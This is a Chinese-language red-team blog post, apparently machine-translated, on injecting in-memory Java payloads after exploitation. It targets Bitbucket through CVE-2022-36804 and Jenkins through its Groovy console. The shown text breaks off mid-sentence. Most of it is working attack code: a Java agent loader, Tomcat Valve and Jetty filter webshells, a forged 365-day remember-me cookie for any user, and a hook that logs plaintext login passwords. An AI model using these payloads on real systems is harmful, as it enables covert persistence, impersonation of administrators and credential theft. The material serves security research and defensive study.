注入 Java 内存有效载荷以进行后期利用


注入 Java 内存有效载荷以进行后期利用

早在三月份,我们就描述了在 Java 应用程序上利用任意反序列化时可以使用的技巧。在接下来的红队行动中,我们遇到了受其他类型漏洞影响的 Java 应用程序,这些漏洞会导致代码执行。本文将尝试介绍一些用于注入内存中 Java 有效负载的其他技巧,并通过针对知名应用程序的具体示例进行说明。

介绍

我们在之前的博客文章1中提到的逻辑,针对受任意反序列化漏洞影响的应用程序,可以适用于从导致 RCE 的不同漏洞或功能(例如 SSTI、脚本引擎和命令注入)注入内存中有效负载。

本文将介绍一些可用于注入此类有效载荷的技巧和窍门,以及开发允许更改应用程序行为的后利用功能。在后利用期间保持不被发现,或拦截向受感染应用程序进行身份验证的特权用户的明文凭据,这将很有趣。

我们将重点关注基于 Web 的 Java 应用程序,并尝试通过针对以下知名产品来说明这些技巧:

  • Bitbucket 数据中心利用命令注入漏洞。

  • Jenkins利用其 Groovy 控制台。

  • Confluence 数据中心利用 SSTI 漏洞。

通过命令注入加载

Bitbucket是一个基于 Web 的平台,用于托管和管理 Git 存储库。它为开发人员和团队提供了多种功能,以便他们在软件项目上进行协作。该解决方案由 Atlassian 拥有和开发。

语境

2022 年,披露了一个影响 Bitbucket 数据中心的 命令注入漏洞,编号为CVE-2022-36804git 。在将存储库导出到存档时,可以通过向命令注入任意参数来利用此漏洞。如果匿名用户被授予对公共存储库的读取访问权限,则可以在未经事先身份验证的情况下利用此漏洞,并且存在多个 PoC 2  3来利用此漏洞。

此漏洞可用于入侵托管它的服务器并执行网络转移。但是,如果此应用程序托管敏感资产且仍由合法开发人员使用,则首先入侵它及其托管的资产可能很有趣。此外,如果传出流量被过滤,并且如果应用程序以非特权用户身份执行,则可能需要使用该应用程序本身窃取数据。

破坏它的最简单方法是通过 Java 代码与其运行时进行交互。Bitbucket 内部使用以下依赖项:

  • 嵌入式 Tomcat作为 Web 服务器。

  • Spring框架。

请注意,以下后利用技巧是在 Bitbucket Datacenter 7 上测试的,但相同的方法也可以用于其他版本或应用程序。

[...]INFO  [main]  c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (/opt/atlassian/bitbucket/app/WEB-INF/classes started by bitbucket in /var/atlassian/application-data/bitbucket)INFO  [main]  c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: defaultINFO  [main]  c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022)INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1INFO  [main]  c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135)INFO  [spring-startup]  c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory /var/atlassian/application-data/bitbucket[...]

注入内存有效载荷

JVM 的Instrumentation功能对于此目的非常有用,因为它们提供了调试或分析应用程序的功能,例如在正在运行的 Java 进程中加载任意 JAR 文件。实际上,只要从同一系统用户请求, Attach API就可以在进程上附加代理,并且不受限制。本文4介绍了 Attach API 的限制和风险。在使用Docker 映像的默认 Bitbucket 安装中,未配置此类限制。

为了让 JVM 加载代理,应该创建一个通过利用命令注入漏洞执行的 JAR 应用程序。此应用程序应定义两个入口点:

  • 静态方法main,在应用程序合法启动时执行。此方法将使用 Attach API 使远程 JVM 将自身作为代理加载。定义此方法的主类应在Main-Class主Manifest的条目中引用。

  • 静态方法agentmain,当代理(JAR 应用程序本身)加载到远程 Java 进程时执行。定义此方法的类应在Agent-Class主 Manifest 的条目中引用。

main静态方法中,可以按如下方式使用 Instrumentation API,使用 查找正确的 Java 进程 VirtualMachine::list,并使用 将自身加载为代理VirtualMachine.loadAgent

public class Main {  // looks up the current application's JAR path  private static String getCurrentJarPath() throws URISyntaxException {    return new File(Main.class.getProtectionDomain().getCodeSource()      .getLocation().toURI()).getAbsolutePath();  }
public static void main(String[] args) { try { String jarPath = getCurrentJarPath(); if (!jarPath.endsWith(".jar")) return;
Class vm = Class.forName("com.sun.tools.attach.VirtualMachine"); Class vmDescriptor = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor"); List<Object> descriptors = (List<Object>) vm.getMethod("list").invoke(null); for (Object descriptor : descriptors) { String pid = (String) vmDescriptor.getMethod("id").invoke(descriptor); String name = (String) vmDescriptor.getMethod("displayName").invoke(descriptor);
// filter process by its name / command line if (!name.contains("com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher")) continue;
Object vmObject = null; try { vmObject = vm.getMethod("attach", String.class).invoke(null, pid); if (vmObject != null) vm.getMethod("loadAgent", String.class).invoke(vmObject, jarPath); } finally { if (vmObject != null) vm.getMethod("detach").invoke(vmObject); } } } catch (Exception e) { e.printStackTrace(); } }}

上面的代码片段根据java属于 Bitbucket 应用程序的命令行选择目标:

# ps -xa197 ? Sl 5:03 /opt/java/openjdk/bin/java -classpath /opt/atlassian/bitbucket/app -Datlassian.standalone=BITBUCKET -Dbitbucket.home=/var/atlassian/application-data/bitbucket -Dbitbucket.install=/opt/atlassian/bitbucket -Xms512m -Xmx1g -XX:+UseG1GC -Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8 -Djava.io.tmpdir=/var/atlassian/application-data/bitbucket/tmp -Djava.library.path=/opt/atlassian/bitbucket/lib/native;/var/atlassian/application-data/bitbucket/lib/native com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher start --logging.console=true[...]

但是,即使 JRE 的 JVM 中存在此机制,Attach API 和用于与 JVM 通信的逻辑 ( libattach) 也可能不存在。例如,我们遇到了使用OpenJDK-8-JRE没有此类 API 的 Bitbucket 安装。为了修复它,应从相应的 JDK 中检索以下两个文件:

  • 文件上的 Java Attach API tools.jar

  • 低级libattach实现(libattach.dlllibattach.so)。

然后,如果需要的话,将这两个文件写入磁盘,并且调整类路径和低级库路径5:

private static void prepare() throws Exception {  try {    Class.forName("com.sun.tools.attach.VirtualMachine");  } catch (Exception e) { // if libattach is not present/loaded    String parentPath = new File(getCurrentJarPath()).getParent();    String finalPath = parentPath + "/tools.jar";
ClassLoader loader = ClassLoader.getSystemClassLoader();
// adjust low-level libraries path Field field = ClassLoader.class.getDeclaredField("sys_paths"); field.setAccessible(true); List<String> newSysPaths = new ArrayList<>(); newSysPaths.add(parentPath); newSysPaths.addAll(Arrays.asList((String[])field.get(loader))); field.set(loader, newSysPaths.toArray(new String[0]));
// add tools.jar to the class path URLClassLoader urlLoader = (URLClassLoader) loader; Method addURLMethod = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); addURLMethod.setAccessible(true); File toolsJar = new File(finalPath); if (!toolsJar.exists()) throw new RuntimeException(toolsJar.getAbsolutePath() + " does not exist"); addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL()); }}

但请注意,使用调整类路径addURL在 Java 9 及更高版本上不起作用,因为系统类加载器不再扩展 URLClassLoader

一旦 Java 代理在远程 JVM 进程上加载,就会在远程进程内部调用并执行agentmain的方法。Agent-Class

获取 Bitbucket 的句柄

要与 Bitbucket 交互,应获取对应用程序内部状态的引用。但首先,应在运行时定义使用 Bitbucket 依赖项的自定义类。

有两种方法可以做到这一点:

  • 使用 Instrumentation API 来拦截调用并修补现有的字节码。

  • 查找权利ClassLoader并手动定义新类。

第一种方法已经在多篇博客文章6  7和项目8 9中介绍过。

它们都依赖于Transformer Instrumentation API 并覆盖现有的字节码。本文将详细介绍第二种选择,我们在实际工作中使用过这种选择,由于它不会干扰现有的类,因此危险性较低。这里的主要思想是开发一个新的 Java 库,在项目中编译(使用 Maven、Gradle 或手动),将 Bitbucket 依赖项作为外部依赖项导入。该库将通过调用其组件来扩展 Bitbucket,并在运行时从 注入ClassLoader

要查找ClassLoader包含 Bitbucket 类及其依赖项的正确内容,可以使用以下代码片段:

private static ClassLoader lookup (Instrumentation i) {  for (Class klass : i.getAllLoadedClasses()) {    if (!klass.getName().equals("org.apache.catalina.valves.ValveBase")) continue;    return klass.getClassLoader();  }  return null;}
// running on bitbucketpublic static void agentmain (String args, Instrumentation i) { ClassLoader targetLoader = lookup(i);}

然后,我们只需从字节码中手动定义我们的类。在这里,我们在代理上创建一个类,该类扩展ClassLoader使用targetLoader作为其父类,以定义类而不必使私有defineClass方法可访问:

private static class AgentLoader extends ClassLoader {  private static final byte[][] classBytecodes = new byte[][] {    new byte[]{ /* custom class bytecode */ }    /* classes bytecode */  };
private static final String[] classNames = new String[] { "org.my.project.CustomClass" };
public void defineClasses() throws Exception { for (int = 0; i < classBytecodes.length; ++i) { defineClass(classNames[i], classBytecodes[i], 0, classBytecodes[i].length); } }}
// [...]
// running on bitbucketpublic static void agentmain (String args, Instrumentation i) { try { ClassLoader targetLoader = lookup(i); AgentLoader loader = new AgentLoader(targetLoader); loader.defineClasses(); } catch (Exception e) { e.printStackTrace(); }}

请注意,更简单的方法是创建一个作为其父级的URLClassLoadertargetLoader,并使用它来从自定义 JAR 库中加载类。

现在我们的类在右侧定义ClassLoader,我们可以从它们导入 Bitbucket 依赖项。

然后,我们需要获取对内部应用程序状态的引用。正如我们在之前的博客文章中所解释的那样,此类变量通常存储在 上ThreadLocals。这种通用方法的问题在于我们的代码不在当前正在处理 Web 请求的线程上运行。要解决这个问题,我们只需要连续分析ThreadLocals所有线程,并在识别出对正确状态变量的引用时停止:

package org.my.project;// [...]import org.springframework.web.context.request.ServletRequestAttributes;// [...]public class CustomClass implements Runnable {
private static ServletRequestAttributes lookupAttributes() throws Exception { ServletRequestAttributes attribs = null; // Analyzes all thread locals of all threads // Stops when a servlet request is being processed // to obtain a reference to the web app ctx while(true) { Set<Thread> threads = Thread.getAllStackTraces().keySet(); for (Thread t : threads) { java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals"); fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap") .getDeclaredField("table"); fTable.setAccessible(true);
if(fThreadLocals.get(t) == null) continue;
Object table = fTable.get(fThreadLocals.get(t)); java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry") .getDeclaredField("value"); fValue.setAccessible(true);
int length = java.lang.reflect.Array.getLength(table); for (int i=0; i < length; ++i) { Object entry = java.lang.reflect.Array.get(table, i); if(entry == null) continue; Object value = fValue.get(entry); if(value == null) continue; if (value instanceof WeakReference) { value = ((WeakReference<?>) value).get(); } if(value == null) continue; if (value instanceof SoftReference) { value = ((SoftReference<?>) value).get(); } if(value == null) continue;
// We've found a ref if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) { attribs = (ServletRequestAttributes) value; break; } } if (attribs != null) break; } if (attribs != null) break; Thread.sleep(100); } return attribs; }
@Override public void run() { try { ServletContext svlCtx = lookupAttributes().getRequest().getServletContext(); // TODO reuse ServletContext } catch(Exception ignored) { } }
static { new Thread(new CustomClass()).start(); }}

上一个类CustomClass有一个静态块初始化程序,当从代理定义类时执行。此块创建一个新线程,该线程不断分析ThreadLocalslookupAttributes当识别到实例的引用ServletRequestAttributesServletContext从中检索实例时,静态方法将停止。为了加快这一步,我们只需向 Bitbucket 应用程序发送新的 HTTP 请求。

ServletContext实例中,我们可以执行以下操作:

  • Valve通过在嵌入式 Tomcat 上注册一个新请求来拦截所有 HTTP 请求。

  • 获取对 Bitbucket 的 Spring 状态的引用。

为了拦截所有 HTTP 请求并注册内存中的 webshell,可以使用以下代码片段:

public static class CustomValve extends ValveBase {  // [...]  @Override  public void invoke(Request request, Response response) throws IOException, ServletException {    try {      // TODO parse request and send a response from the in-memory webshell    } catch (Exception ignored) {    } finally {      // forward to the next Valve      if (this.getNext() != null) {        this.getNext().invoke(request, response);      }    }  }  // [...]}
private void injectValve(ServletContext svlCtx) { // Intercepts all requests (including pre-auth requests) WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader(); Field fResources = WebappClassLoaderBase.class.getDeclaredField("resources"); fResources.setAccessible(true); StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase)) .getContext();
// Already injected ? for (Valve valve: ctx.getParent().getPipeline().getValves()) { if(valve.getClass().getName() == CustomValve.class.getName()) return; }
ctx.getParent().getPipeline().addValve(new CustomValve());}

实现相同结果的另一种方法是查找特定上下文类加载器的实例。每个线程都与一个上下文类加载器相关联,对于 Tomcat 来说,通过搜索所有线程,我们可以找到一个WebappClassLoaderBase

Set<Thread> threads = Thread.getAllStackTraces().keySet();for (Thread t : threads) {    cl = t.getContextClassLoader();    if(WebappClassLoaderBase.class.isInstance(cl)){        return cl;    }}

这个特定的类加载器有一个resources字段:

public abstract class WebappClassLoaderBase extends URLClassLoader implements ... {[...]    protected WebResourceRoot resources = null;

从这个字段中我们可以检索上StandardConext一个示例中使用的内容。

public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot {[...]    private Context context;[...]    public Context getContext() {        return this.context;    }

关于 Bitbucket 的 Spring 状态,它是类的一个实例WebApplicationContext,可以从实例的属性中获取ServletContext。可以通过以下方式获取此属性的名称:

  • 反编译 Bitbucket。

  • 调试 Bitbucket。

  • 简单分析一下这个实例的所有注册的属性SpringContext

从这个常量名称WebApplicationContext可以检索实例:

String SPRING_ATTR = "org.springframework.web.context.WebApplicationContext:Bitbucket";ServletContext svlCtx = /* lookup() */;WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);

最后,可以调用BeansSpring 上的 Bitbucket 组件,或者从中检索 Bitbucket 属性:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);SampleService sampleService = (SampleService) ctx.getBean("sampleService");String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty("some-property");

与 Bitbucket 组件交互

现在,我们可以通过调用 Bitbucket 的组件来扩展 Bitbucket 的功能,这样我们就可以轻松找到 Bitbucket 的有趣功能。然后,这些功能将在我们的内存 webshell 中用于提供特定的命令。

至于SpringContext属性,我们可以通过将调试器附加到 Bitbucket 来分析调用堆栈,并反编译相关的 JAR 依赖项。这篇博文不会介绍它,但它是一个很好的开始,可以找到哪些组件(即 Spring Beans)用于在 Bitbucket 中执行特定任务。

实际上,以下 JAR 文件很有趣:

  • API 定义(仅使用接口),在 JAR 库上遵循命名约定bitbucket-[feature]-api-[version].jar。

  • API 实现,在遵循命名约定的 JAR 库上bitbucket-[feature]-impl-[version].jar。

主要 API 的部分内容记录在Atlassian Docs 网站上。

在 API 实现库上,@Service(“[name]”) Spring 类注释对应于赋予 Bitbucket 组件(即 Spring Bean)的名称,可以从中检索WebApplicationContext。

例如,DefaultUserService实现UserService一个名为的Bean userService:

// [...]@DependsOn({"createSystemUserUpgradeTask"})@AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class})@Service("userService")/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/user/DefaultUserService.class */public class DefaultUserService extends AbstractService implements InternalUserService {  // [...]  private final ApplicationUserDao userDao;  private final UserHelper userHelper;  @Value("${page.max.groups}")  private int maxGroupPageSize;  @Value("${page.max.users}")  private int maxUserPageSize;
@Autowired public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value("${auth.remote.cache.cacheSize}") int cacheSize, @Value("${auth.remote.cache.ttl}") int cacheTtl, @Value("${auth.remote.enabled}") boolean checkRemoteDirectory) { // [...] }
@PreAuthorize("hasUserPermission(#user, 'USER_ADMIN')") public void deleteAvatar(@Nonnull ApplicationUser user) { this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, "user")); } // [...]}

从我们的上下文中可以得到如下信息:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);UserService userService = (UserService) ctx.getBean("userService");

列出管理员

后漏洞利用的第一步是执行侦察阶段。在当前情况下,列出 Bitbucket 实例的所有管理员的详细信息很有用。为此,还有一个PermissionService可用于获取具有特定权限的用户详细信息的函数:

// ctx from current request intercepted by CustomValveWebApplicationContext ctx = (WebApplicationContext) request.getServletContext()  .getAttribute(SPRING_ATTR);
HashMap<String, Object> result = new HashMap<>();PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) { Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100)); for(ApplicationUser user : admins.getValues()) { HashMap<String, Object> entry = new HashMap<>(); entry.put("user_id", user.getId()); entry.put("user_name", user.getDisplayName()); entry.put("user_slug", user.getSlug()); entry.put("user_type", user.getType().name()); entry.put("user_enabled", Boolean.toString(user.isActive())); entry.put("user_email", user.getEmailAddress()); entry.put("permission", perm.name()); result.put(Integer.toString(user.getId()), entry); }}

但是,如果此代码片段按原样从我们注入的上下文(即从我们自定义的拦截请求)执行,则会抛出Valve以下错误:Exception

org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread

在 Bitbucket 中,Spring 框架在后台使用HibernateOpenSessionInViewFilter 。在我们的上下文中,没有打开任何会话,因此所有后续数据库查询都将失败。通过重现使用的行为SessionFactoryUtils,我们可以为我们的上下文设置一个新的会话:

import org.hibernate.FlushMode;import org.hibernate.Session;import org.hibernate.SessionFactory;import org.springframework.orm.hibernate5.SessionFactoryUtils;import org.springframework.orm.hibernate5.SessionHolder;import org.springframework.transaction.support.TransactionSynchronizationManager;import org.springframework.web.context.WebApplicationContext;
import java.io.Closeable;
public class HibernateSessionCloseable implements Closeable { private final SessionFactory factory; private final Session session; public HibernateSessionCloseable(WebApplicationContext webCtx) { this.factory = (SessionFactory) webCtx.getBean("sessionFactory"); this.session = factory.openSession(); session.setHibernateFlushMode(FlushMode.MANUAL); SessionHolder holder = new SessionHolder(session); TransactionSynchronizationManager.bindResource(factory, holder); }
@Override public void close() { session.flush(); TransactionSynchronizationManager.unbindResource(factory); SessionFactoryUtils.closeSession(session); }}
现在,我们只需用一个新的HibernateSessionCloseable实例包围我们的代码块即可修复它:
// ctx from current request intercepted by CustomValveWebApplicationContext ctx = (WebApplicationContext) request.getServletContext()  .getAttribute(SPRING_ATTR);
HashMap<String, Object> result = new HashMap<>();try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) { PermissionService permissionService = (PermissionService) ctx.getBean("permissionService"); for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) { Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100)); for(ApplicationUser user : admins.getValues()) { // [...] } }}

生成身份验证 cookie

此内存 Webshell 的另一个有趣功能是为任意 Bitbucket 用户生成经过身份验证的会话。Bitbucket 和多个应用程序(参见Spring Remember-Me Authentication)一样,具有基于记住我 cookie 的身份验证方法(参见RememberMeService)。此功能默认启用(optional Bitbucket属性的值 auth.remember-me.enabled),并根据 cookie 自动对用户进行身份验证。

该服务由以下类实现DefaultRememberMeService

// [...]@Service("rememberMeService")@AvailableToPlugins(RememberMeService.class)/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/auth/DefaultRememberMeService.class */public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {  // [...]  private final AuthenticationContext authenticationContext;  private final RememberMeTokenDao dao;  private final SecureTokenGenerator tokenGenerator;  private final UserService userService;  // [...]  public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {    ApplicationUser user = this.authenticationContext.getCurrentUser();    Objects.requireNonNull(user);    doCreateCookie(user, request, response, false);  }  // [...]  @VisibleForTesting  protected String encodeCookie(String... cookieTokens) {    String joined = StringUtils.join(cookieTokens, ":");    String encoded = new String(Base64.encodeBase64(joined.getBytes()));    return StringUtils.stripEnd(encoded, "=");  }  // [...]  private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request,       @Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {    Cookie cookie = getCookie(request);    if (cookie != null) {      if (shouldThrowIfCookiePresent) {        cancelCookie(request, response);        InternalRememberMeToken token = toToken(cookie);        throw new IllegalStateException("A remember-me cookie for series '+"           + (token != null ? token.getSeries() : "invalid")           + "' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie");      }      logout(request, response);    }    InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(      new InternalRememberMeToken.Builder()        .series(this.tokenGenerator.generateToken())        .token(this.tokenGenerator.generateToken())        .user(InternalConverter.convertToInternalUser(user))        .expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());    setCookie(request, response, token2);    log.debug("Created new remember-me series '{}' for user '{}'", token2.getSeries(), user.getName());  }  // [...]}

由于此服务仅允许为当前经过身份验证的用户生成记住我 cookie,因此我们需要通过复制doCreateCookie私有方法的行为来生成记住我 cookie:

HashMap<String, Object> result = new HashMap<>();int userId = (int) args.get("target_user_id");try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {  //lookup user  UserService userService = (UserService) ctx.getBean("userService");  ApplicationUser user;  try {    user = userService.getUserById(userId);  } catch (Exception e) {    return;  }  if (user == null) return;  //generate an auto-login cookie for this user  RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean("rememberMeTokenDao");  SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean("tokenGenerator");  InternalRememberMeToken token = rmeDao.create(    new InternalRememberMeToken.Builder()      .series(tokenGenerator.generateToken())      .token(tokenGenerator.generateToken())      .user(InternalConverter.convertToInternalUser(user))      .expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)      .build()  );  String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');  result.put("cookie_name", ctx.getEnvironment().getProperty("auth.remember-me.cookie.name"));  result.put("cookie_value", Base64Utils.encodeToUrlSafeString(joined.getBytes()));}
此 cookie 一旦从 HTTP 响应上的 webshell 返回,就可以直接用于代表目标用户获取经过身份验证的会话,如果目标用户是管理员,则授予对 Bitbucket 的所有权限。
拦截明文凭证
此 webshell 的最后一个有趣功能是拦截合法用户提交的身份验证表单,以纯文本形式捕获凭据,因为这对于获取其他敏感资产的访问权限很有用。此外,本地 Bitbucket 实例通常依赖 LDAP 目录进行身份验证(参见Bitbucket 数据中心指南),这使得它更加有趣。
对于 Bitbucket,身份验证表单使用/j_atl_security_check端点。例如,当提交表单时,将执行以下请求:
POST /j_atl_security_check HTTP/1.1Host: 172.16.0.2:7990Content-Type: application/x-www-form-urlencodedContent-Length: [...]
j_username=[USERNAME]&j_password=[PASSWORD]&_atl_remember_me=on&next=[...]&queryString=[...]&submit=Log+in

在我们的上下文中,所有 HTTP 请求都可以从类中拦截CustomValve,以下代码片段记录了所有接收到的凭据:

public static class CustomValve extends ValveBase {  // [...]  @Override  public void invoke(Request request, Response response) throws IOException, ServletException {    try {      if (request.getRequestURI().equals("/j_atl_security_check")          && request.getMethod().equalsIgnoreCase("POST")          && request.getParameter("j_username") != null          && request.getParameter("j_password") != null) {
logCredentials(request.getParameter("j_username"), request.getParameter("j_password")); } // TODO parse request and send a response from the in-memory webshell } catch (Exception ignored) { } finally { // forward to the next Valve if (this.getNext() != null) { this.getNext().invoke(request, response); } } }
private final HashMap<String, Set<String>> credentials = new HashMap<>();
private void logCredentials(String username, String pass) { u = u.trim(); synchronized (credentials) { if(credentials.containsKey(username)) { Set<String> set = credentials.get(u); set.add(pass); } else { Set<String> set = new HashSet<>(); set.add(pass); credentials.put(username, set); } } } // [...]}

最后,只需修改 webshell 即可处理新命令,该命令会使用所有拦截的凭据来响应其调用者。

通过脚本引擎加载

Jenkins 是一款开源自动化服务器,广泛用于软件开发中的持续集成 (CI) 和持续交付 (CD) 管道。它允许开发人员自动化软件开发过程的各个方面,例如构建、测试和部署代码更改。

语境

Jenkins 具有允许从以下位置执行 Groovy 脚本的功能:

  • 管理界面上的脚本控制台,可以在 Jenkins 控制器运行时(即执行 Web 控制台的地方)执行脚本。

  • 将代码提交到管道时的自动化任务,其中脚本在 Jenkins 工作者上执行。

在过去的几年中,我们已经发现了两条导致 Jenkins 主站出现 RCE 的预认证路径:

  • Jenkins Remoting中对用户提供的数据进行任意反序列化( CVE-2017-1000353,包括 Metasploit 模块10 )。如本文11所述,反序列化是由使用 的SignedObject小工具链触发的。commons-collections:3.0Transformers

  • Orange Tsai (Hacking Jenkins 第一部分12、Hacking Jenkins 第二部分13 )介绍了几种针对管道作业的沙盒绕过方法,链接了CVE-2018-1000861、CVE-2019-1003005和CVE-2019-1003029 (PoC 14 )。

在本文中,我们将仅考虑在 Jenkins 上以管理员身份进行身份验证的简单情况,我们可以使用脚本控制台在 Jenkins 控制器运行时内执行任意 Groovy 脚本。但请注意,以下章节中介绍的后期利用技巧可以从上述两个 RCE 链中使用。

Groovy 脚本执行将用于与 Jenkins 运行时进行交互。Jenkins 内部使用以下依赖项:

  • 嵌入式 Jetty作为 Web 服务器。

  • Spring框架。

注入内存有效载荷

我们已经可以从 Groovy 中定义新类。此外,我们还可以从当前线程上下文的父级定义自定义类ClassLoader

try {    ClassLoader cl = Thread.currentThread().getContextClassLoader()        .getParent();    Class kValve;    for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {        byte[] klassBytes = Base64.decoder.decode(d.strip());        m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);        m.setAccessible(true);        kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);    }    kValve.newInstance();} catch(e) { }

通过注入的自定义类,我们可以与 Jenkins 和 Spring 类进行交互。下一步是注入一个内存中的 webshell,拦截所有 HTTP 请求。在 Jetty 上的 Spring 中,我们可以获取当前正在处理请求的线程的引用WebAppContext$ContextThreadLocals从封闭类的实例中WebAppContext$Context,我们可以检索封闭类的实例WebAppContext,存储在内部字段中this$0

幸运的是,我们的 Groovy 脚本是在处理当前 HTTP 请求的线程内执行的,我们可以从以下代码片段中获取此引用:

try {  Thread t = Thread.currentThread();  java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");  fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap").getDeclaredField("table"); fTable.setAccessible(true);
if (fThreadLocals.get(t) == null) return;
Object table = fTable.get(fThreadLocals.get(t)); java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry").getDeclaredField("value"); fValue.setAccessible(true);
Object handle = null; int length = java.lang.reflect.Array.getLength(table); for (int i = 0; i < length; ++i) { Object entry = java.lang.reflect.Array.get(table, i); if (entry == null) continue; Object value = fValue.get(entry); if (value == null) continue; if (value instanceof WeakReference) { value = ((WeakReference<?>) value).get(); } if (value == null) continue; if (value instanceof SoftReference) { value = ((SoftReference<?>) value).get(); } if (value == null) continue; if (value.getClass().getName().equals("org.eclipse.jetty.webapp.WebAppContext$Context")) { handle = value; break; } } if (handle == null) return; Field this0 = handle.getClass().getDeclaredField("this$0"); this0.setAccessible(true); WebAppContext appCtx = (WebAppContext) this0.get(handle);} catch (Throwable ignored) {}

然后,我们可以使用该引用来定义自定义 Filter,并将其添加到链的顶部:

//[...]import javax.servlet.Filter;//[...]public class CustomFilter implements Filter {
public CustomFilter(WebAppContext appCtx) throws Exception { ServletHandler handler = appCtx.getServletHandler(); addFilterWithMapping( handler, new FilterHolder(this), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST) ); }
private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder, String pathSpec, EnumSet<DispatcherType> dispatches) throws Exception { holder.setName("CustomFilter" + new SecureRandom().nextInt(0xffff)); Objects.requireNonNull(holder); FilterHolder[] holders = handler.getFilters(); if (holders != null) { holders = holders.clone(); } else { holders = new FilterHolder[0]; } // already injected for (FilterHolder entry : holders) { if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName())) return; } synchronized (handler) { Method contains = handler.getClass() .getDeclaredMethod("containsFilterHolder", FilterHolder.class); contains.setAccessible(true); if (!((Boolean) contains.invoke(handler, holder))) { handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders)); } }
FilterMapping mapping = new FilterMapping(); mapping.setFilterName(holder.getName()); mapping.setPathSpec(pathSpec); mapping.setDispatcherTypes(dispatches); handler.prependFilterMapping(mapping); }
@Override public void destroy() { }
@Override public void init(FilterConfig filterConfig) { }
private static class AbortRequest extends Throwable { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { try { HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse;
if (request.getHeader(/* [...] */) != null) { try { handleRequest(request, response); } catch (AbortRequest e) { return; //if raw HTML result, prevent the req from being processed by jenkins } } } catch (Exception ignored) { } if (filterChain != null) { filterChain.doFilter(servletRequest, servletResponse); } }
// [...]}

然后可以扩展这个内存中的 webshell 来定义特定的功能。

执行脚本

RemotingDiagnostics在 Jenkins 上,使用Hudson 类及其私有类执行 Groovy 脚本Script。此类导入了几个允许与Jenkins API交互的包。

例如,以下脚本(基于本文15中提到的脚本)可用于直接窃取所有自动化机密,只要当前经过身份验证的用户被授予对它们的读取权限:

